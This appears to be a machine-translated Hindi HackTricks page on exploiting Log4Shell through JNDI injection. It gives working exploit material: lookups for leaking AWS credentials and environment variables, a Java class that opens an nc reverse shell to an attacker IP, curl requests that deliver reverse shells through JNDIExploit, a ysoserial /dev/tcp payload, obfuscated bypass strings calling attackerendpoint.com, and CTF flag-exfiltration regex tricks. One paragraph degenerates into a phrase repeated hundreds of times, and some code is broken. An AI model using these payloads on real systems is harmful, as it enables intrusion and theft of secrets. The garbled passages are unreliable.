45 KiB
JNDI - जावा नेमिंग एंड डायरेक्टरी इंटरफेस और लॉग4शैल
htARTE (HackTricks AWS Red Team Expert) के साथ जीरो से हीरो तक AWS हैकिंग सीखें
हैकट्रिक्स का समर्थन करने के अन्य तरीके:
- अगर आप अपनी कंपनी का विज्ञापन हैकट्रिक्स में देखना चाहते हैं या हैकट्रिक्स को पीडीएफ में डाउनलोड करना चाहते हैं तो सब्सक्रिप्शन प्लान्स देखें!
- आधिकारिक PEASS और HackTricks स्वैग प्राप्त करें
- हमारा विशेष NFTs संग्रह, The PEASS Family, खोजें
- शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह और ट्विटर 🐦 @carlospolopm** को** फॉलो करें।
- हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके HackTricks और HackTricks Cloud github repos में।
वे सुरक्षा गड़बड़ी खोजें जो सबसे महत्वपूर्ण हैं ताकि आप उन्हें तेजी से ठीक कर सकें। इंट्रूडर आपके हमले क्षेत्र का ट्रैक करता है, प्रोएक्टिव धमकी स्कैन चलाता है, एपीआई से वेब ऐप्स और क्लाउड सिस्टम जैसे आपके पूरे टेक स्टैक में मुद्दे खोजता है। आज ही मुफ्त में इसका प्रयास करें।
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
मूलभूत जानकारी
JNDI, जो 1990 के दशक से जावा में एकत्रित है, एक निर्देशिका सेवा के रूप में कार्य करता है, जिससे जावा कार्यक्रम डेटा या ऑब्जेक्ट को नेमिंग सिस्टम के माध्यम से ढूंढ सकते हैं। यह सेवा प्रदानकर्ता इंटरफेस (SPIs) के माध्यम से विभिन्न निर्देशिका सेवाओं का समर्थन करता है, जिससे विभिन्न सिस्टम से डेटा प्राप्त किया जा सकता है, जिसमें रिमोट जावा ऑब्ज
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"
सत्यापन
पहले सूचीबद्ध कुछ प्लेटफॉर्म आपको कुछ चरित्र डेटा डालने की अनुमति देंगे जो जब अनुरोध किया जाएगा तो लॉग होगा।
यह 2 चीजों के लिए बहुत उपयोगी हो सकता है:
- वंशीकरण की विकल्प
- वंशीकरण करके जानकारी अपहरण करने के लिए दोष का उपयोग करना
उदाहरण के लिए आप कुछ इस प्रकार का अनुरोध कर सकते हैं:
या ${
jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}
और यदि एक DNS अनुरोध प्राप्त होता है जिसमें पर्यावरण चर का मान है, तो आपको पता चल जाएगा कि एप्लिकेशन दोषयुक्त है।
अन्य जानकारी जिसे आप कोशिश कर सकते हैं लीक करने के लिए:
${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}
Any other env variable name that could store sensitive information
RCE सूचना
{% hint style="info" %}
JDK संस्करण 6u141, 7u131, या 8u121 से ऊपर चल रहे होस्ट LDAP क्लास लोडिंग हमले के खिलाफ सुरक्षित हैं। यह com.sun.jndi.ldap.object.trustURLCodebase
की डिफ़ॉल्ट निषेधन के कारण है, जो JNDI को LDAP के माध्यम से रिमोट कोडबेस लोड करने से रोकता है। हालांकि, यह महत्वपूर्ण है कि ये संस्करण डेसीरियलाइज़ेशन हमले के खिलाफ सुरक्षित नहीं हैं।
उन हमलावरों के लिए जो इन उच्च JDK संस्करणों का शिकार बनाना चाहते हैं, उन्हें जावा एप्लिकेशन में एक विश्वसनीय गैजेट का उपयोग करना आवश्यक है। इस उद्देश्य के लिए अक्सर ysoserial या JNDIExploit जैसे उपकरणों का उपयोग किया जाता है। उल्टे, निम्न JDK संस्करणों का शोषण करना अधिक सरल है क्योंकि इन संस्करणों को विचारशीलता से लोड और विभिन्न क्लासेस का कार्यान्वयन करने के लिए परिवर्तित किया जा सकता है।
अधिक जानकारी के लिए (जैसे RMI और CORBA वेक्टर्स पर सीमाएँ) पिछले JNDI नेमिंग संदर्भ खंड या https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/ देखें। {% endhint %}
RCE - Marshalsec के साथ कस्टम पेलोड
आप इसे THM बॉक्स में टेस्ट कर सकते हैं: https://tryhackme.com/room/solar
उपकरण marshalsec (jar संस्करण यहाँ उपलब्ध है यहाँ)। इस दृष्टिकोण से एक LDAP रेफरल सर्वर स्थापित करता है जो कनेक्शन को एक द्वितीय HTTP सर्वर पर पुनर्निर्देशित करता है जहां हमला होस्ट किया जाएगा:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
लक्ष्य को प्रोम्प्ट करने के लिए एक रिवर्स शैल कोड लोड करने के लिए, नीचे दिए गए सामग्री के साथ Exploit.java
नामक एक जावा फ़ाइल बनाएं:
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}
कक्ष फ़ाइल को कक्ष फ़ाइल में कंपाइल करें: javac Exploit.java -source 8 -target 8
। अगले, कक्ष फ़ाइल को समेत रखने वाले निर्देशिका में HTTP सर्वर आरंभ करें: python3 -m http.server
। यह सुनिश्चित करें कि marshalsec LDAP सर्वर इस HTTP सर्वर को संदर्भित करता है।
एक पेशेवर वेब सर्वर पर उत्पीड़न का क्रियान्वयन करें एक पेलोड भेजकर जो इसकी तुलना में हो:
${jndi:ldap://<LDAP_IP>:1389/Exploit}
ध्यान दें: यह एक्सप्लॉइट जावा के कॉन्फ़िगरेशन पर निर्भर है जो LDAP के माध्यम से रिमोट कोडबेस लोडिंग की अनुमति देता है। यदि यह संभव नहीं है, तो विश्वसनीय क्लास को अनिश्चित कोड निष्पादन के लिए एक्सप्लॉइट करने का विचार करें।
RCE - JNDIExploit
{% hint style="info" %} ध्यान दें कि किसी कारण से लेखक ने इस प्रोजेक्ट को गिटहब से हटा दिया था जब लॉग4शैल की खोज के बाद। आप इसका कैश वर्जन https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2 में देख सकते हैं लेकिन यदि आप लेखक के निर्णय का सम्मान करना चाहते हैं तो इस वलन को एक्सप्लॉइट करने के लिए एक विभिन्न तरीका उपयोग करें।
इसके अतिरिक्त, आप सोर्स कोड को वेबवे मशीन में नहीं पा सकते हैं, इसलिए या तो सोर्स कोड का विश्लेषण करें, या जार को निष्पादित करें जानते हुए कि आप जो कुछ निष्पादित कर रहे हैं उसका ज्ञान नहीं है। {% endhint %}
इस उदाहरण के लिए आप बस इस वलनरेबल वेब सर्वर को चला सकते हैं जिसमें log4shell है पोर्ट 8080 पर: https://github.com/christophetd/log4shell-vulnerable-app (README में आपको इसे कैसे चलाना है यह मिलेगा). यह वलनरेबल एप्लिकेशन HTTP रिक्वेस्ट हेडर X-Api-Version की सामग्री को एक वलनरेबल संस्करण के log4shell के साथ लॉग कर रहा है।
फिर, आप JNDIExploit जार फ़ाइल डाउनलोड कर सकते हैं और इसे निष्पादित कर सकते हैं:
wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
After reading the code just a couple of minutes, in com.feihong.ldap.LdapServer and com.feihong.ldap.HTTPServer you can see how the LDAP and HTTP servers are created. The LDAP server will understand what payload need to be served and will redirect the victim to the HTTP server, which will serve the exploit.
In com.feihong.ldap.gadgets you can find some specific gadgets that can be used to excute the desired action (potentially execute arbitrary code). And in com.feihong.ldap.template you can see the different template classes that will generate the exploits.
You can see all the available exploits with java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
. Some useful ones are:
ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more
इसलिए, हमारे उदाहरण में, हमारे पास पहले से ही उस डॉकर वंलरबल एप्लिकेशन को चलाया हुआ है। इसे हमला करने के लिए:
# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
जब आप हमले भेजेंगे तो आपको वहां उत्पादन दिखाई देगा जहां आपने JNDIExploit-1.2-SNAPSHOT.jar चलाया था।
ध्यान दें कि अन्य शोषण विकल्पों के लिए java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
जांचना न भूलें। इसके अतिरिक्त, यदि आपको आवश्यकता हो तो, आप LDAP और HTTP सर्वरों के पोर्ट को बदल सकते हैं।
RCE - JNDI-Exploit-Kit
पिछले शोषण के तरह, आप इस भयानकता का शोषण करने के लिए JNDI-Exploit-Kit का उपयोग करने की कोशिश कर सकते हैं।
आप यह विकल्प भेजने के लिए URLs उत्पन्न कर सकते हैं जो पीड़ित को भेजने के लिए हैं:
# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444
# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
_यह हमला एक कस्टम जेनरेटेड जावा ऑब्जेक्ट का उपयोग करके THM सोलर रूम जैसे लैब्स में काम करेगा। हालांकि, यह आम तौर पर काम नहीं करेगा (क्योंकि डिफ़ॉल्ट रूप से जावा को LDAP का उपयोग करके रिमोट कोडबेस लोड करने के लिए कॉन्फ़िगर नहीं किया गया है) मुझे लगता है क्योंकि यह विश्वसनीय क्लास का दुरुपयोग करने के लिए विश्वसनीय क्लास का दुरुपयोग करने के लिए नहीं है जो विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार किया जाता है कि विचार क
# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
उपयोग करें JNDI-Exploit-Kit जहां एक्सप्लॉइट विचलित मशीनों से कनेक्शन की प्रतीक्षा कर रहा हो, JNDI लिंक उत्पन्न करने के लिए। आप जीएनडीआई-एक्सप्लॉइट-किट द्वारा स्वचालित रूप से उत्पन्न होने वाले विभिन्न एक्सप्लॉइट या अपने डेसीरियलाइज़ेशन पेलोड (जिन्हें आपने या ysoserial द्वारा उत्पन्न किया गया) सर्व कर सकते हैं।
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
अब आप आसानी से एक उत्पन्न JNDI लिंक का उपयोग करके संरूपण की कमजोरी का शोध और प्राप्त कर सकते हैं रिवर्स शैल केवल एक संस्कृत संस्करण को भेजकर: ${ldap://10.10.14.10:1389/generated}
बायपासेस
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
स्वचालित स्कैनर
- https://github.com/fullhunt/log4j-scan
- https://github.com/adilsoybali/Log4j-RCE-Scanner
- https://github.com/silentsignal/burp-log4shell
- https://github.com/cisagov/log4j-scanner
- https://github.com/Qualys/log4jscanwin
- https://github.com/hillu/local-log4j-vuln-scanner
- https://github.com/logpresso/CVE-2021-44228-Scanner
- https://github.com/palantir/log4j-sniffer - स्थानीय विकल्पी पुस्तकालय खोजें
परीक्षण के लैब
- LogForge HTB मशीन
- Try Hack Me Solar room
- https://github.com/leonjza/log4jpwn
- https://github.com/christophetd/log4shell-vulnerable-app
पोस्ट-लॉग4शैल शोषण
इस CTF writeup में अच्छी तरह से समझाया गया है कि Log4J के कुछ सुविधाओं का दुरुपयोग संभावित है।
Log4j के सुरक्षा पृष्ठ में कुछ दिलचस्प वाक्य हैं:
संस्करण 2.16.0 (जावा 8 के लिए) से संदेश खोज सुविधा पूरी तरह से हटा दी गई है। कॉन्फ़िगरेशन में खोज काम करती है। इसके अतिरिक्त, अब Log4j JNDI तक पहुंच को डिसेबल कर देता है। कॉन्फ़िगरेशन में JNDI खोज को सक्षम करना अब व्यक्तिगत रूप से करना होगा।
संस्करण 2.17.0 से (और जावा 7 और जावा 6 के लिए 2.12.3 और 2.3.1), केवल कॉन्फ़िगरेशन में खोज स्ट्रिंग को रिकर्सिव रूप से विस्तारित किया जाता है; किसी भी अन्य उपयोग में, केवल शीर्ष-स्तर की खोज हल की जाती है, और किसी भी नेस्टेड खोज को हल नहीं किया जाता है।
इसका मतलब है कि डिफ़ॉल्ट रूप से आप किसी भी jndi
शोषण का उपयोग भूल सकते हैं। इसके अतिरिक्त, रिकर्सिव खोज करने के लिए आपको उन्हें कॉन्फ़िगर करना होगा।
उदाहरण के लिए, उस CTF में यह फ़ाइल log4j2.xml में कॉन्फ़िगर किया गया था:
<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>
Env लुकअप
इस CTF में हमलावर ${sys:cmd}
का मान नियंत्रित करता था और एक environment variable से झंडा निकालना था।
जैसा कि पिछले payloads में देखा गया है, वहाँ विभिन्न तरीके हैं जिनसे env variables तक पहुंचा जा सकता है, जैसे: ${env:FLAG}
। इस CTF में यह अनुप्रयोगी था लेकिन यह अन्य वास्तविक जीवन स्थितियों में नहीं हो सकता।
अपशिष्ट में निकास
CTF में, आप log4J का उपयोग करके जावा एप्लिकेशन के stderr तक पहुंच नहीं सकते थे, लेकिन Log4J अपशिष्ट stdout पर भेजे जाते हैं, जो पायथन ऐप में प्रिंट होता था। इसका मतलब था कि एक अपशिष्ट को ट्रिगर करके हम सामग्री तक पहुंच सकते थे। झंडा निकालने के लिए एक अपशिष्ट था: ${java:${env:FLAG}}
. यह काम करता है क्योंकि ${java:CTF{blahblah}}
मौजूद नहीं है और झंडे के मान के साथ एक अपशिष्ट दिखाया जाएगा:
परिवर्तन पैटर्न अपशिष्ट
बस उसे उठाने के लिए, आप नए परिवर्तन पैटर्न डाल सकते थे और stdout
पर लॉग किए जाने वाले अपशिष्ट को ट्रिगर कर सकते थे। उदाहरण के लिए:
यह त्रुटि संदेश के भीतर तारीख निकालने के लिए उपयोगी नहीं था, क्योंकि लुकअप को परिवर्तन पैटर्न से पहले हल नहीं किया गया था, लेकिन यह अन्य चीजों के लिए उपयोगी हो सकता है जैसे कि पता लगाने के लिए।
परिवर्तन पैटर्न रेजेक्स
हालांकि, कुछ रेजेक्स का समर्थन करने वाले परिवर्तन पैटर्न का उपयोग करना संभव है ताकि रेजेक्स का उपयोग करके लुकअप से सूचना निकाली जा सके और बाइनरी खोज या समय आधारित व्यवहार का दुरुपयोग किया जा सके।
- अपशिष्ट संदेश के माध्यम से बाइनरी खोज
परिवर्तन पैटर्न %replace
का उपयोग स्ट्रिंग से सामग्री को बदलने के लिए किया जा सकता है यहाँ तक कि रेजेक्स का उपयोग करके। यह इस प्रकार काम करता है: replace{पैटर्न}{रेजेक्स}{प्रतिस्थापन}
इस व्यवहार का दुरुपयोग करके आप स्ट्रिंग के भीतर कुछ भी रेजेक्स से मेल खाता है तो एक अपशिष्ट को ट्रिगर कर सकते हैं (और यदि यह नहीं मिला तो कोई अपशिष्ट नहीं होगा) जैसे:
%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
- समय आधारित
जैसा कि पिछले खंड में उल्लिखित किया गया था, %replace
regexes का समर्थन करता है। इसलिए यह संभावना है कि ReDoS पृष्ठ से पेलोड का उपयोग करके एक समय समाप्ति को उत्पन्न किया जा सकता है यदि ध्वज मिल जाता है।
उदाहरण के लिए, एक पेलोड जैसे %replace{${env:FLAG}}{^(?=CTF)((.
)
)*salt$}{asd}
उस CTF में एक समय समाप्ति को ट्रिगर करेगा।
इस लेख में, एक ReDoS हमले की बजाय एक वृद्धि हमले का उपयोग किया गया था जिससे प्रतिक्रिया में समय का अंतर उत्पन्न हुआ:
/%replace{ %replace{ %replace{ %replace{ %replace{ %replace{ %replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################}
यदि ध्वज
flagGuess
के साथ शुरू होता है, तो पूरा ध्वज 29#
-s से बदल दिया जाएगा (मैंने इस वर्ण का उपयोग किया क्योंकि यह संभावना है कि यह ध्वज का हिस्सा नहीं होगा)। प्रत्येक परिणामी 29#
-s को फिर 54#
-s से बदल दिया जाएगा। यह प्रक्रिया 6 बार दोहराई जाएगी, जिससे कुल29*54*54^6* =`` ``
96816014208
#
-s! होंगे।इतने सारे
#
-s को बदल देने से Flask एप्लिकेशन का 10 सेकंड का समय समाप्त हो जाएगा, जिससे उपयोगकर्ता को HTTP स्थिति कोड 500 प्राप्त होगा। (यदि ध्वजflagGuess
के साथ शुरू नहीं होता है, तो हमें गैर-500 स्थिति कोड प्राप्त होगा)
संदर्भ
- https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/
- https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/
- https://www.youtube.com/watch?v=XG14EstTgQ4
- https://tryhackme.com/room/solar
- https://www.youtube.com/watch?v=Y8a5nB-vy78
- https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
- https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/
- https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/
वे सुरक्षा गड़बड़ियों को खोजें जो सबसे अधिक मायने रखती हैं ताकि आप उन्हें तेजी से ठीक कर सकें। Intruder आपकी हमला सतह का ट्रैक करता है, प्रोएक्टिव धमकी स्कैन चलाता है, आपकी पूरी तकनीकी स्टैक, API से वेब ऐप्स और क्लाउड सिस्टम तक मुद्दे खोजता है। इसे मुफ्त में प्रयास करें आज।
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप अपनी कंपनी का विज्ञापन देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो सदस्यता योजनाएं देखें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- हमारे विशेष NFTs कलेक्शन, The PEASS Family खोजें
- शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह या मुझे ट्विटर 🐦 @carlospolopm** पर फॉलो** करें।
- अपने हैकिंग ट्रिक्स साझा करें हैकट्रिक्स और हैकट्रिक्स क्लाउड गिटहब रेपो में पीआर जमा करके।